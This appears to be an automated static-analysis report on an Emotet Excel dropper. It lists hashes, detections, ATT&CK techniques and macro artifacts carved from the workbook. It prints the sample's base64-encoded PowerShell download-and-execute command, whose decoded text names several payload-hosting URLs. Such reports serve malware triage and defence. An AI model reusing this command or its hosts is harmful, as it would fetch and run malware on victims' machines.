Emotet — Office (OOXML) / .XLSX malware analysis

Static analysis result for SHA-256 4ed670fbaab264cd…

MALICIOUS

Office (OOXML) / .XLSX

115.1 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 12.0000
MD5: b308fb233adb0e99bb83136994ff56c2 SHA-1: 4cae9730fd0750cf63ba4d368b53150c36ad7d69 SHA-256: 4ed670fbaab264cd19610c32101af2483599afd69f1089b8cc8d2fd3b7361cd3
200 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.001 PowerShell T1566.002 Spearphishing Attachment T1059.005 Visual Basic

The file is identified as malicious by ClamAV with the signature 'Xls.Downloader.EmotetExcel02223-9938902-0', strongly suggesting the Emotet family. The presence of a Workbook_Open macro and CreateObject calls indicates automated execution upon opening. The embedded PowerShell command, reconstructed from the obfuscated string 'wershell -e JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwADoALwAvAHMAdQBtAGUAZABoAGEAbwBuAGwAaQBuAGUALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBIAHkAegBOAFgASgAzADAAWABPAFEAVgBjAEIAUwBSAEgALwAsAGgAdAB0AHAAOgAvAC8AZABpAHYAYQBjAGgAaQBuAHQAZQB4AHQAaQBsAGUAcwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAdQBsAGQAZQBzAC8AVwBXAGgAVwBSAEsAcwA4AEsAdgB6AE4ARgBtADYALwAsAGgAdAB0AHAAOgAvAC8AaABvAHQAZQBsAGEAbgBkAGEAbQBhAGwAYQBiAG8ALgBjAG8AbQAvADEANQAyADAALwBiAFUAZABoAEUAUABkAGYALwAsAGgAdAB0AHAAOgAvAC8AcwBoAHcAZQBuAGEAbgB0AGEAdwB3AGkAbgAuAGMAbwBtAC8AYwBvAHAAbQBhAC8AWABUAG4AWgBJAGkAMAAyAHYAZgBW', is designed to download and execute a second-stage payload from multiple URLs. The script also attempts to create batch and VBScript files in the programdata directory.

Heuristics 5

  • ClamAV: Xls.Downloader.EmotetExcel02223-9938902-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.EmotetExcel02223-9938902-0
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA project inside OOXML medium OOXML_VBA
    Document contains vbaProject.bin — VBA macros present

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
df1eb14c222394595c0518b49eec2b55ed9573146c5f1717dedceddd2e199a2b
vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 12041 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
vbaProject_00.bin
cadb37af8ffaa5e29d027e9788afe51907bc5672499c65e7b451f42389cba62a
vba-project OOXML VBA project: xl/vbaProject.bin 42496 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.